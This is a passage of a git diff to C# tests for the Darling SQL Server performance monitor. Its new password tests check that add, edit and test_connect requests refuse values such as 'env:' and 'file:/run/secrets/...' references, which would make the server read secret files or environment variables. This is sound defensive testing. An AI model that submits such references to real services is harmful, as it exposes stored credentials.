         Assert.Contains("$1", sql, StringComparison.Ordinal);
         Assert.Contains("$2", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("$3", sql, StringComparison.Ordinal);
+        Assert.Contains("$3", sql, StringComparison.Ordinal);
+        Assert.Contains("$4", sql, StringComparison.Ordinal);
+        Assert.Contains("$5", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("$6", sql, StringComparison.Ordinal);
+        Assert.Contains("JOIN idle_coverage ic ON ic.server_id = s.server_id", sql, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -109,7 +114,7 @@ public void ServerMetricsSqlFor_RoutesTheIdleCheckThroughTheStitchedRollup_PlusT
         Assert.Contains("execution_count_sum > 0", sql, StringComparison.Ordinal);
         Assert.Contains("bucket >=", sql, StringComparison.Ordinal);
         var unionCount = System.Text.RegularExpressions.Regex.Matches(sql, "UNION").Count;
-        Assert.Equal(2, unionCount); // three arms, two UNIONs joining them
+        Assert.Equal(3, unionCount); // activity: three arms, two UNIONs; idle coverage: the rollup days UNION the raw days after the watermark
 
         /* The two edge literals: the ceiling hour of the idle cutoff (05:00 — 04:27 rounds UP to the next
            whole hour, since the partial hour [04:27, 05:00) is exactly the slice the rollup can't answer)
diff --git a/Darling/Darling.Tests/ServerLocalReadFrameDisciplineTests.cs b/Darling/Darling.Tests/ServerLocalReadFrameDisciplineTests.cs
index bce97994ef..a326878c4a 100644
--- a/Darling/Darling.Tests/ServerLocalReadFrameDisciplineTests.cs
+++ b/Darling/Darling.Tests/ServerLocalReadFrameDisciplineTests.cs
@@ -50,6 +50,7 @@ namespace Darling.Tests;
 /// additionally asserts its ANCHOR is present before judging the file: the bare-read check keys on the
 /// <c>dte</c> alias, so a rename would otherwise turn it into an assertion about nothing.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ServerLocalReadFrameDisciplineTests
 {
     /* ───────────────────────── the literal-SQL reads of default_trace_events ───────────────────────── */
@@ -300,12 +301,14 @@ public void CompiledAnnotationSql_ScopesTheServerClockRead_ToThePanelsOwnServerA
         var servers = new[] { "SERVER-A", "SERVER-B" };
 
         var clockRead = ComposeCompiler.CompileServerClockRead(RunContext(servers));
-        Assert.Contains("AND   server_name = ANY($1)", clockRead.Sql, StringComparison.Ordinal);
+        Assert.Contains("AND   server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($1)))", clockRead.Sql, StringComparison.Ordinal);
         Assert.Single(clockRead.Parameters);
 
         var scoped = CompiledAnnotation(serverLocal, servers);
-        Assert.Contains("f.server_name = ANY($3)", scoped.Sql, StringComparison.Ordinal);
-        Assert.Single(Regex.Matches(scoped.Sql, @"ANY\("));
+        Assert.Contains("f.server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($3)))", scoped.Sql, StringComparison.Ordinal);
+        /* #5525: the id list is resolved from the names inside the SQL, so the scope spells ANY( twice and still binds the names once. */
+        Assert.Equal(2, Regex.Matches(scoped.Sql, @"ANY\(").Count);
+        Assert.Single(Regex.Matches(scoped.Sql, @"\$3(?!\d)"));
         Assert.Equal(7, scoped.Parameters.Count);
         Assert.DoesNotContain("SERVER-A", scoped.Sql, StringComparison.Ordinal);
 
diff --git a/Darling/Darling.Tests/ServerPageTabsTests.cs b/Darling/Darling.Tests/ServerPageTabsTests.cs
index 99a3395bc7..01f75b2ea5 100644
--- a/Darling/Darling.Tests/ServerPageTabsTests.cs
+++ b/Darling/Darling.Tests/ServerPageTabsTests.cs
@@ -127,6 +127,18 @@ it contributes nothing to the auroraOnly set below. It is mapped anyway because
     /// which is the point. A comment that names a read the dispatch no longer has is stale documentation about
     /// the one thing here that is impossible to verify by eye.</para>
     /// </summary>
+    [Fact]
+    public void TheQueryStoreTopGrid_DrawsTheApproximationNote_AsAFurtherNote()
+    {
+        var js = ServerTabsJs;
+        var at = js.IndexOf("\"get_query_store_top\",", StringComparison.Ordinal);
+        Assert.True(at >= 0);
+        var end = js.IndexOf("\n      ),", at, StringComparison.Ordinal);
+        var call = js[at..end];
+        Assert.Contains("\"truncation_note\",", call, StringComparison.Ordinal);
+        Assert.Contains("[\"approximation_note\"]", call, StringComparison.Ordinal);
+    }
+
     [Fact]
     public void EveryReadTheServerPageNames_ExistsInTheDispatch()
     {
@@ -794,7 +806,7 @@ correct without it until two renders overlap. */
            the render. A repeat render paints from the remembered card synchronously; a card that does not
            arrive leaves a painted page alone, because a failed fleet read is not evidence the engine changed. */
         Assert.Contains("const remembered = lastCard.get(server);", ServerJs, StringComparison.Ordinal);
-        Assert.Contains("painted = paintTabs(tabsSlot, server, tabId, remembered.card);", ServerJs, StringComparison.Ordinal);
+        Assert.Contains("painted = paintTabsKeeping(keep, tabsSlot, server, tabId, remembered.card);", ServerJs, StringComparison.Ordinal);
         Assert.Contains("if (card) lastCard.set(server, { card, reason });", ServerJs, StringComparison.Ordinal);
         Assert.Contains("if (!painted || (card && serverTabsFor(card) !== painted)) {", ServerJs, StringComparison.Ordinal);
         Assert.DoesNotContain("card.is_postgres", ServerJs, StringComparison.Ordinal);
@@ -885,8 +897,8 @@ public void TheTabsThatCannotDoWhatTheDesktopDoes_SaySo()
         Assert.Contains("block-chain view", js, StringComparison.Ordinal);
 
         /* The note renders — a `note` field with no renderer is the same silence in a different place. */
-        Assert.Contains("return tab.note ? noticeStrip(tab.note) : null;", js, StringComparison.Ordinal);
-        Assert.Contains("tabNote(tab)", ServerJs, StringComparison.Ordinal);
+        Assert.Contains("return note ? noticeStrip(note) : null;", js, StringComparison.Ordinal);
+        Assert.Contains("tabNote(tab, tabReach())", ServerJs, StringComparison.Ordinal);
     }
 
     /// <summary>
@@ -922,11 +934,12 @@ public void EveryDataPanel_ExplainsItsOwnEmptyState()
         /* The WHOLE signature, so emptyText is asserted to be a declared parameter rather than something
            read off an options object. #3278 appended `noteKey = null` - an opt-in server-supplied caveat,
            unrelated to this guard - and #4925 appended `moreNoteKeys = null` after it (further caveat fields
-           rendered the same way). The literal is spelled out here rather than truncated at emptyText
+           rendered the same way), and #4843 appended `columnGroups = null` (the opt-in column groups of a wide grid), and #5226 appended `control = null` (a node drawn under the title:
+           the ranking selector of the Top Queries / Top Procedures cards), and #5245 appended `dbScope = null` (the panel's own database-scope chip, for a panel whose scope differs from its read's class; unrelated to this guard)., and the release walk appended `extensionMissingLine = null` (the plain line a precondition panel shows when its optional extension is not installed; unrelated to this guard). The literal is spelled out here rather than truncated at emptyText
            because a prefix match would stop noticing a parameter inserted BEFORE it. */
         Assert.Contains(
             "function table(title, read, params, rowsKey, columns, subtitle, emptyText, span = 2, "
-            + "noteKey = null, moreNoteKeys = null)",
+            + "noteKey = null, moreNoteKeys = null, columnGroups = null, control = null, dbScope = null, extensionMissingLine = null)",
             js,
             StringComparison.Ordinal);
         Assert.Contains(
@@ -1209,7 +1222,7 @@ private static Dictionary<string, string> DescriptorArraysIn(string js)
     /// </summary>
     private static IEnumerable<(string Read, string[] Arrays)> DescriptorArraysBoundIn(string js)
     {
-        foreach (Match open in Regex.Matches(js, @"(?<![A-Za-z0-9_])(?:stat|table|fanout)\("))
+        foreach (Match open in Regex.Matches(js, @"(?<![A-Za-z0-9_])(?:stat|momentStat|table|fanout)\("))
         {
             var depth = 1;
             var i = open.Index + open.Length;
diff --git a/Darling/Darling.Tests/ServerPageTitlePinTests.cs b/Darling/Darling.Tests/ServerPageTitlePinTests.cs
index d43d7c5dbf..5af915d874 100644
--- a/Darling/Darling.Tests/ServerPageTitlePinTests.cs
+++ b/Darling/Darling.Tests/ServerPageTitlePinTests.cs
@@ -31,6 +31,7 @@ namespace Darling.Tests;
 /// <see cref="ChartWindowDomainTests"/> pattern). The browser tab title is the static "Darling Web" in
 /// <c>index.html</c> and no script sets <c>document.title</c>, so there is no second place that printed the key.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ServerPageTitlePinTests
 {
     private static string ServerJs => ReadRepoFileLf(Path.Combine(
@@ -81,7 +82,7 @@ public void TheRouteKey_StaysTheIdentity_OnlyTheHeadingChanges()
 
         Assert.Contains("const matches = (c) => c.server_name === server || c.display_name === server;", js, StringComparison.Ordinal);
         Assert.Contains("current = { server, tab: null };", js, StringComparison.Ordinal);
-        Assert.Contains("mount(main, [head, whySlot, tabsSlot, gridNode]);", js, StringComparison.Ordinal);
+        Assert.Contains("mount(main, [head, whySlot, tabsSlot, reachSlot, gridNode]);", js, StringComparison.Ordinal);
         Assert.DoesNotContain("server = card.display_name", js, StringComparison.Ordinal);
         Assert.DoesNotContain("current = { server: card.display_name", js, StringComparison.Ordinal);
     }
diff --git a/Darling/Darling.Tests/ServerPasswordFromRequestTests.cs b/Darling/Darling.Tests/ServerPasswordFromRequestTests.cs
new file mode 100644
index 0000000000..c36cb1fd11
--- /dev/null
+++ b/Darling/Darling.Tests/ServerPasswordFromRequestTests.cs
@@ -0,0 +1,586 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using Core = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpServerAdminTools;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The password a request carries is the password itself. The web add and edit routes, the MCP add and edit tools and
+/// the <c>test_connect</c> command all ask one question of it (<see cref="DarlingSecretSource.RequestReferenceRefusal"/>),
+/// and it is the resolver's own question, so what is refused is exactly what would be dereferenced.
+///
+/// <para>An edit that sends the password blank keeps whatever is stored, and a test of a stored value only runs at the
+/// address that stored it. Each request path is exercised through the real core, with a probe that counts its calls.</para>
+/// </summary>
+[Collection("darling-owned-secrets")]
+public sealed class ServerPasswordFromRequestTests : IDisposable
+{
+    private const string Typed = "Typed-Pw-Q7-7XK";
+    private const string StoredReference = "env:SYNTH_STORED_PASSWORD_REF";
+    private static readonly DateTime Stamp = new(2026, 10, 5, 12, 0, 0, 123, DateTimeKind.Unspecified);
+
+    private readonly DarlingOwnedSet _ownedBefore = DarlingOwnedSecrets.Current;
+
+    public ServerPasswordFromRequestTests() => DarlingOwnedSecrets.Set(DarlingOwnedSet.Empty);
+
+    public void Dispose() => DarlingOwnedSecrets.Set(_ownedBefore);
+
+    /* Every shape the resolver dereferences: the prefix at the very start, any text after it (the name or path is trimmed). */
+    public static TheoryData<string> References => new()
+    {
+        "env:X",
+        "env:SOME_VARIABLE",
+        "env:  SPACED_NAME  ",
+        "file:C:\\x",
+        "file:C:\\secrets\\sql.txt",
+        "file:/run/secrets/sql_password",
+        "file:   C:\\spaced path\\x   ",
+    };
+
+    private static string RefusalSentence => DarlingSecretSource.RequestReferenceRefusalText;
+
+    /* ---------------- the one predicate ---------------- */
+
+    [Theory]
+    [MemberData(nameof(References))]
+    public void TheRefusal_IsExactlyWhatTheResolverWouldDereference(string reference)
+    {
+        Assert.True(DarlingSecretSource.IsReference(reference));
+        Assert.Equal(RefusalSentence, DarlingSecretSource.RequestReferenceRefusal(reference));
+        Assert.DoesNotContain(reference.Trim(), RefusalSentence, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("hunter2")]
+    [InlineData("pa-env:-ss")]
+    [InlineData("my file:pw")]
+    [InlineData("xenv:X")]
+    [InlineData(" env:X")]
+    [InlineData("ENV:X")]
+    [InlineData("File:C:\\x")]
+    [InlineData("")]
+    [InlineData("   ")]
+    public void ALiteral_IsNotRefused_BecauseTheResolverWouldNotDereferenceIt(string literal)
+    {
+        Assert.False(DarlingSecretSource.IsReference(literal));
+        Assert.Null(DarlingSecretSource.RequestReferenceRefusal(literal));
+        Assert.Equal(literal, DarlingSecretSource.Resolve(literal, "test.setting"));
+    }
+
+    [Fact]
+    public void TheNullPassword_IsNotRefused() => Assert.Null(DarlingSecretSource.RequestReferenceRefusal(null));
+
+    /* ---------------- MCP add_servers (and the web add: the route hands the body to this same core) ---------------- */
+
+    private static string AddBody(string password, string auth = "SQL") =>
+        JsonSerializer.Serialize(new[] { new { host = "sql01", auth, username = "monitor", password } });
+
+    private sealed class UntouchedDefinitions : Core.IServerDefinitions
+    {
+        public Task<List<string>> LoadStorageKeysAsync(CancellationToken cancellationToken) =>
+            throw new InvalidOperationException("the store must not be opened for a refused request");
+
+        public Task<string?> ReadStorageKeyAsync(int serverId, CancellationToken cancellationToken) =>
+            throw new InvalidOperationException("the store must not be read for a refused request");
+
+        public Task<int> InsertAsync(Core.ParsedServerEntry entry, string? encryptedPassword, string? actualStorageKey, CancellationToken cancellationToken) =>
+            throw new InvalidOperationException("nothing may be written for a refused request");
+    }
+
+    private sealed class CountingProbe
+    {
+        public int Calls { get; private set; }
+
+        public MonitoredServer? Last { get; private set; }
+
+        public Core.ServerProbe Probe => (server, _) =>
+        {
+            Calls++;
+            Last = server;
+            return Task.FromResult(new ConnectionProbeResult(true, 15, 3, "Enterprise", false, false, false, true, null));
+        };
+    }
+
+    [Theory]
+    [MemberData(nameof(References))]
+    public async Task McpAdd_RefusesAReference_WithTheSentence_NoEcho_NoProbe_NoStoreAccess(string reference)
+    {
+        foreach (var auth in new[] { "SQL", "ServicePrincipal" })
+        {
+            var probe = new CountingProbe();
+
+            var answer = await Core.AddServersAsync(new UntouchedDefinitions(), AddBody(reference, auth), probe.Probe, CancellationToken.None);
+
+            var node = JsonNode.Parse(answer)!;
+            Assert.Equal(1, node["failed"]!.GetValue<int>());
+            Assert.Equal(0, node["added"]!.GetValue<int>());
+            var result = node["results"]![0]!;
+            Assert.Equal("invalid", result["status"]!.GetValue<string>());
+            Assert.Equal(RefusalSentence, result["detail"]!.GetValue<string>());
+            Assert.DoesNotContain(reference.Trim(), answer, StringComparison.Ordinal);
+            Assert.Equal(0, probe.Calls);
+        }
+    }
+
+    [Fact]
+    public void McpAdd_RefusesTheReference_OnEveryPlatform_BeforeTheLiteralRule()
+    {
+        foreach (var isWindows in new[] { true, false })
+        {
+            var (entries, invalid, whole) = Core.ParseRequest(AddBody("file:C:\\x"), isWindows ? TestKeyRings.Healthy.Status : TestKeyRings.NotReady.Status);
+
+            Assert.Null(whole);
+            Assert.Empty(entries);
+            Assert.Equal(RefusalSentence, Assert.Single(invalid).Detail);
+        }
+    }
+
+    [Fact]
+    public void McpAdd_AcceptsAPassword_ThatOnlyContainsAPrefixInTheMiddle()
+    {
+        var (entries, invalid, _) = Core.ParseRequest(AddBody("pa-env:-ss"), TestKeyRings.Healthy.Status);
+
+        Assert.Empty(invalid);
+        Assert.Equal("pa-env:-ss", Assert.Single(entries).PlaintextPassword);
+    }
+
+    [Fact]
+    public void TheHostCommandLineAdd_StillAcceptsAReference_ThatIsNotDarlingsOwn()
+    {
+        var (entries, invalid, _) = Core.ParseRequest(AddBody("env:SOME_OTHER_VAR"), TestKeyRings.NotReady.Status, allowSecretReferences: true);
+
+        Assert.Empty(invalid);
+        Assert.Equal("env:SOME_OTHER_VAR", Assert.Single(entries).PlaintextPassword);
+    }
+
+    [Fact]
+    public void ARequestAdd_OfALiteral_WhileTheKeyIsNotReady_GivesTheKeysReason_NotAReference()
+    {
+        var (_, invalid, _) = Core.ParseRequest(AddBody(Typed), TestKeyRings.NotReady.Status);
+
+        var detail = Assert.Single(invalid).Detail;
+        Assert.Contains(DarlingPasswordKey.NotReadyReason, detail, StringComparison.Ordinal);
+        Assert.DoesNotContain("env:", detail, StringComparison.Ordinal);
+        Assert.DoesNotContain(Typed, detail, StringComparison.Ordinal);
+    }
+
+    /* ---------------- MCP edit_server (and the web edit: the route hands the body to this same core) ---------------- */
+
+    private static Core.ServerEditRow Row(string host = "alpha-01.example.test", string auth = "sql", string? database = null) => new(
+        ServerId: 41, Name: "alpha-01", Host: host, Port: 0, Database: database, ReadOnlyIntent: false, Engine: "sqlserver",
+        Auth: auth, Username: auth == "integrated" ? null : "monitor", EncryptMode: "Mandatory", TrustServerCertificate: false,
+        MultiSubnetFailover: false, MonthlyCostUsd: 10m, ModifiedAt: Stamp.AddTicks(7));
+
+    /* A store whose row holds a REFERENCE in the secret slot, as an installation seeded from the configuration file does. The
+       secret column is the one thing this fake keeps: a write that does not name it leaves the reference byte for byte. */
+    private sealed class StoreHoldingAReference : Core.IServerEditStore
+    {
+        public Core.ServerEditRow Row { get; set; } = ServerPasswordFromRequestTests.Row();
+
+        public string? StoredSecret { get; private set; } = StoredReference;
+
+        public int Writes { get; private set; }
+
+        public Task<Core.ServerEditRow?> ReadRowAsync(int serverId, CancellationToken cancellationToken) => Task.FromResult<Core.ServerEditRow?>(Row);
+
+        public Task<List<string>> LoadOtherStorageKeysAsync(int serverId, CancellationToken cancellationToken) => Task.FromResult(new List<string>());
+
+        public Task<Core.ServerEditWrite> WriteAsync(
+            int serverId, DateTime expectedModifiedAt, IReadOnlyList<Core.EditColumnValue> sets, string? newStorageKey, string? actualStorageKey, CancellationToken cancellationToken)
+        {
+            Writes++;
+            if (sets.FirstOrDefault(s => s.Column == "encrypted_password") is { } secret)
+            {
+                StoredSecret = (string?)secret.Value;
+            }
+
+            return Task.FromResult(new Core.ServerEditWrite(Core.ServerEditWriteKind.Written, Stamp.AddSeconds(1)));
+        }
+    }
+
+    private static Task<string> Edit(StoreHoldingAReference store, string changes, CountingProbe probe) =>
+        Core.EditServerCoreAsync(store, 41, changes, probe.Probe, TestKeyRings.Healthy, logger: null, CancellationToken.None);
+
+    private static string Status(string answer) => JsonNode.Parse(answer)!["status"]!.GetValue<string>();
+
+    [Theory]
+    [MemberData(nameof(References))]
+    public async Task McpEdit_RefusesATypedReference_WithTheSentence_NoEcho_NoProbe_NoWrite(string reference)
+    {
+        foreach (var body in new[]
+                 {
+                     "{\"host\":\"beta.example.test\",\"password\":" + JsonSerializer.Serialize(reference) + "}",
+                     "{\"display_name\":\"Renamed\",\"password\":" + JsonSerializer.Serialize(reference) + "}",
+                 })
+        {
+            var store = new StoreHoldingAReference();
+            var probe = new CountingProbe();
+
+            var answer = await Edit(store, body, probe);
+
+            Assert.Equal("invalid", Status(answer));
+            Assert.Equal(RefusalSentence, JsonNode.Parse(answer)!["message"]!.GetValue<string>());
+            Assert.DoesNotContain(reference.Trim(), answer, StringComparison.Ordinal);
+            Assert.Equal(0, probe.Calls);
+            Assert.Equal(0, store.Writes);
+            Assert.Equal(StoredReference, store.StoredSecret);
+        }
+    }
+
+    [Fact]
+    public async Task McpEdit_AcceptsATypedPassword_ThatOnlyContainsAPrefixInTheMiddle()
+    {
+        var store = new StoreHoldingAReference();
+        var probe = new CountingProbe();
+
+        var answer = await Edit(store, "{\"display_name\":\"Renamed\",\"password\":\"pa-env:-ss\"}", probe);
+
+        Assert.Equal("updated", Status(answer));
+        Assert.Equal("pa-env:-ss", probe.Last!.Password);
+    }
+
+    [Theory]
+    [InlineData("{\"display_name\":\"Renamed\"}")]
+    [InlineData("{\"display_name\":\"Renamed\",\"password\":\"\"}")]
+    [InlineData("{\"monthly_cost_usd\":99,\"password\":\"\"}")]
+    public async Task McpEdit_WithTheStoredSecretAReference_AbsentOrBlankKeepsItByteForByte(string body)
+    {
+        var store = new StoreHoldingAReference();
+        var probe = new CountingProbe();
+
+        var answer = await Edit(store, body, probe);
+
+        Assert.Equal("updated", Status(answer));
+        Assert.Equal(1, store.Writes);
+        Assert.Equal(StoredReference, store.StoredSecret);
+        Assert.Equal(0, probe.Calls);
+    }
+
+    [Fact]
+    public async Task McpEdit_ATypedLiteral_ReplacesTheStoredReference()
+    {
+        var store = new StoreHoldingAReference();
+        var probe = new CountingProbe();
+
+        var answer = await Edit(store, "{\"display_name\":\"Renamed\",\"password\":\"" + Typed + "\"}", probe);
+
+        Assert.Equal("updated", Status(answer));
+        Assert.NotEqual(StoredReference, store.StoredSecret);
+        var row = store.Row;
+        var binding = PasswordBinding.ForServer(ServerConnectionIdentity.FromStoredColumns(
+            row.Host, row.Port, row.Engine, row.Database, row.ReadOnlyIntent, row.Auth, row.Username, row.EncryptMode,
+            row.TrustServerCertificate, row.MultiSubnetFailover));
+        Assert.Equal(Typed, TestKeyRings.Healthy.Open(store.StoredSecret!, binding));
+        Assert.Equal(Typed, probe.Last!.Password);
+        Assert.DoesNotContain(Typed, answer, StringComparison.Ordinal);
+    }
+
+    /* The stored reference is never read back by this surface, so a test that has no typed password cannot use it: any change to
+       how the server is reached answers with the plain ask, and nothing is probed. */
+    [Theory]
+    [InlineData("{\"host\":\"elsewhere.example.test\"}")]
+    [InlineData("{\"host\":\"elsewhere.example.test\",\"password\":\"\"}")]
+    [InlineData("{\"host\":\"alpha-01.example.test\\\\OTHERINSTANCE\"}")]
+    [InlineData("{\"database\":\"Other\"}")]
+    [InlineData("{\"username\":\"someone_else\"}")]
+    public async Task McpEdit_AChangeOfHowTheServerIsReached_WithNoTypedPassword_AsksForIt_AndProbesNothing(string body)
+    {
+        var store = new StoreHoldingAReference();
+        var probe = new CountingProbe();
+
+        var answer = await Edit(store, body, probe);
+
+        Assert.Equal("invalid", Status(answer));
+        Assert.Equal(Core.EditPasswordNeededText, JsonNode.Parse(answer)!["message"]!.GetValue<string>());
+        Assert.Equal(0, probe.Calls);
+        Assert.Equal(0, store.Writes);
+        Assert.Equal(StoredReference, store.StoredSecret);
+    }
+
+    /* ---------------- the web routes, with the real cores behind them ---------------- */
+
+    private sealed class Web : IAsyncDisposable
+    {
+        public required WebApplication App { get; init; }
+
+        public required HttpClient Client { get; init; }
+
+        public required NpgsqlDataSource Source { get; init; }
+
+        public required CountingProbe Probe { get; init; }
+
+        public required StoreHoldingAReference Store { get; init; }
+
+        public async ValueTask DisposeAsync()
+        {
+            Client.Dispose();
+            await App.DisposeAsync();
+            await Source.DisposeAsync();
+        }
+    }
+
+    private static async Task<Web> StartWebAsync()
+    {
+        var builder = WebApplication.CreateBuilder();
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        var app = builder.Build();
+        var source = NpgsqlDataSource.Create("Host=localhost;Database=never_opened;Username=nobody");
+        var probe = new CountingProbe();
+        var store = new StoreHoldingAReference();
+
+        app.Use(async (context, next) =>
+        {
+            context.Items[DarlingWebSeat.HttpContextItemKey] = new DarlingWebSeat("alice", true);
+            await next(context);
+        });
+        DarlingWebEndpoints.MapServers(
+            app, source, new CapturingTestLogger(),
+            addServers: body => Core.AddServersAsync(new UntouchedDefinitions(), body, probe.Probe, CancellationToken.None),
+            editServer: (id, body) => Core.EditServerCoreAsync(store, id, body, probe.Probe, TestKeyRings.Healthy, logger: null, CancellationToken.None));
+        await app.StartAsync(TestContext.Current.CancellationToken);
+        return new Web { App = app, Client = app.GetTestClient(), Source = source, Probe = probe, Store = store };
+    }
+
+    private static async Task<(HttpStatusCode Status, string Body)> SendAsync(Web web, HttpMethod method, string path, string body)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        using var request = new HttpRequestMessage(method, path) { Content = new StringContent(body, Encoding.UTF8, "application/json") };
+        using var response = await web.Client.SendAsync(request, ct);
+        return (response.StatusCode, await response.Content.ReadAsStringAsync(ct));
+    }
+
+    [Theory]
+    [MemberData(nameof(References))]
+    public async Task WebAdd_RefusesAReference_WithTheSentence_NoEcho_NoProbe(string reference)
+    {
+        await using var web = await StartWebAsync();
+
+        var (status, body) = await SendAsync(web, HttpMethod.Post, "/api/servers", AddBody(reference));
+
+        Assert.Contains(RefusalSentence, body, StringComparison.Ordinal);
+        Assert.DoesNotContain(reference.Trim(), body, StringComparison.Ordinal);
+        Assert.Equal("invalid", JsonNode.Parse(body)!["results"]![0]!["status"]!.GetValue<string>());
+        Assert.True(status is HttpStatusCode.OK or HttpStatusCode.BadRequest);
+        Assert.Equal(0, web.Probe.Calls);
+    }
+
+    [Theory]
+    [MemberData(nameof(References))]
+    public async Task WebEdit_RefusesAReference_WithTheSentence_NoEcho_NoProbe_NoWrite(string reference)
+    {
+        await using var web = await StartWebAsync();
+        var json = "{\"display_name\":\"Renamed\",\"password\":" + JsonSerializer.Serialize(reference)
+                   + ",\"expected_modified_at\":\"" + Core.ModifiedAtToken(Stamp.AddTicks(7)) + "\"}";
+
+        var (_, body) = await SendAsync(web, HttpMethod.Patch, "/api/servers/41", json);
+
+        Assert.Contains(RefusalSentence, body, StringComparison.Ordinal);
+        Assert.DoesNotContain(reference.Trim(), body, StringComparison.Ordinal);
+        Assert.Equal(0, web.Probe.Calls);
+        Assert.Equal(0, web.Store.Writes);
+        Assert.Equal(StoredReference, web.Store.StoredSecret);
+    }
+
+    [Fact]
+    public async Task WebEdit_ABlankPassword_KeepsTheStoredReference()
+    {
+        await using var web = await StartWebAsync();
+        var json = "{\"display_name\":\"Renamed\",\"password\":\"\",\"expected_modified_at\":\"" + Core.ModifiedAtToken(Stamp.AddTicks(7)) + "\"}";
+
+        var (status, body) = await SendAsync(web, HttpMethod.Patch, "/api/servers/41", json);
+
+        Assert.Equal(HttpStatusCode.OK, status);
+        Assert.Equal("updated", Status(body));
+        Assert.Equal(StoredReference, web.Store.StoredSecret);
+        Assert.Equal(0, web.Probe.Calls);
+    }
+
+    /* ---------------- the test_connect command ---------------- */
+
+    private static MonitoredServer Tested(string host, string? encrypted, int port = 0, string? password = null) => new()
+    {
+        Name = "alpha-01", Host = host, Port = port, Auth = "sql", Username = "monitor", EncryptedPassword = encrypted, Password = password,
+    };
+
+    /// <summary>The stored row the tested server (<see cref="Tested"/>) matches on every setting.</summary>
+    private static ServerConnectionIdentity StoredRow(string host, int port = 0) =>
+        ServerConnectionIdentity.FromStoredColumns(host, port, "sqlserver", null, false, "sql", "monitor", "Mandatory", false, false);
+
+    private sealed class StoredAddresses
+    {
+        public List<ServerConnectionIdentity> Rows { get; } = [];
+
+        public List<string> Asked { get; } = [];
+
+        public Task<IReadOnlyList<ServerConnectionIdentity>> ReadAsync(string reference, CancellationToken cancellationToken)
+        {
+            Asked.Add(reference);
+            return Task.FromResult<IReadOnlyList<ServerConnectionIdentity>>(Rows.ToList());
+        }
+    }
+
+    [Fact]
+    public async Task TestConnect_AStoredReference_IsResolvedOnlyWhereHostPortAndInstanceAllMatch()
+    {
+        var stored = new StoredAddresses();
+        stored.Rows.Add(StoredRow("alpha-01.example.test\\INST1"));
+        var ct = CancellationToken.None;
+
+        Assert.Null(await DarlingCommandExecutor.TestConnectReferenceRefusalAsync(
+            Tested("alpha-01.example.test\\INST1", StoredReference), stored.ReadAsync, ct));
+
+        foreach (var (host, port) in new[]
+                 {
+                     ("elsewhere.example.test\\INST1", 0),
+                     ("alpha-01.example.test\\INST2", 0),
+                     ("alpha-01.example.test", 0),
+                     ("alpha-01.example.test\\INST1", 1434),
+                     ("ALPHA-01.example.test\\INST1", 0),
+                 })
+        {
+            Assert.Equal(
+                DarlingCommandExecutor.TestConnectPasswordNeededText,
+                await DarlingCommandExecutor.TestConnectReferenceRefusalAsync(Tested(host, StoredReference, port), stored.ReadAsync, ct));
+        }
+    }
+
+    /// <summary>The tested server flipped on one connection setting away from <see cref="StoredRow"/>.</summary>
+    private static MonitoredServer TestedWith(string setting)
+    {
+        var server = Tested("alpha-01.example.test", StoredReference);
+        switch (setting)
+        {
+            case "engine": server.Engine = "postgresql"; break;
+            case "encryptMode": server.EncryptMode = "Optional"; break;
+            case "trustServerCertificate": server.TrustServerCertificate = true; break;
+            case "auth": server.Auth = "serviceprincipal"; break;
+            case "username": server.Username = "someone-else"; break;
+            case "database": server.Database = "other_db"; break;
+            case "readOnlyIntent": server.ReadOnlyIntent = true; break;
+            case "multiSubnetFailover": server.MultiSubnetFailover = true; break;
+            case "host": server.Host = "elsewhere.example.test"; break;
+            case "port": server.Port = 1434; break;
+            case "none": break;
+            default: throw new ArgumentOutOfRangeException(nameof(setting), setting, null);
+        }
+
+        return server;
+    }
+
+    [Theory]
+    [InlineData("engine")]
+    [InlineData("encryptMode")]
+    [InlineData("trustServerCertificate")]
+    [InlineData("auth")]
+    [InlineData("username")]
+    [InlineData("database")]
+    [InlineData("readOnlyIntent")]
+    [InlineData("multiSubnetFailover")]
+    [InlineData("host")]
+    [InlineData("port")]
+    public async Task TestConnect_AStoredReference_IsRefusedWhenAnySingleConnectionSettingDiffersFromTheStoredServer(string setting)
+    {
+        var stored = new StoredAddresses();
+        stored.Rows.Add(StoredRow("alpha-01.example.test"));
+
+        var refusal = await DarlingCommandExecutor.TestConnectReferenceRefusalAsync(TestedWith(setting), stored.ReadAsync, CancellationToken.None);
+
+        Assert.Equal(DarlingCommandExecutor.TestConnectPasswordNeededText, refusal);
+        Assert.Contains("different connection settings", refusal, StringComparison.Ordinal);
+        Assert.DoesNotContain(StoredReference, refusal, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TestConnect_AStoredReference_IsResolvedWhenEveryConnectionSettingMatches_IgnoringCaseWhereTheEditCoreDoes()
+    {
+        var stored = new StoredAddresses();
+        stored.Rows.Add(StoredRow("alpha-01.example.test"));
+        var server = TestedWith("none");
+        server.Auth = "SQL";
+        server.EncryptMode = "MANDATORY";
+        server.Engine = "SqlServer";
+
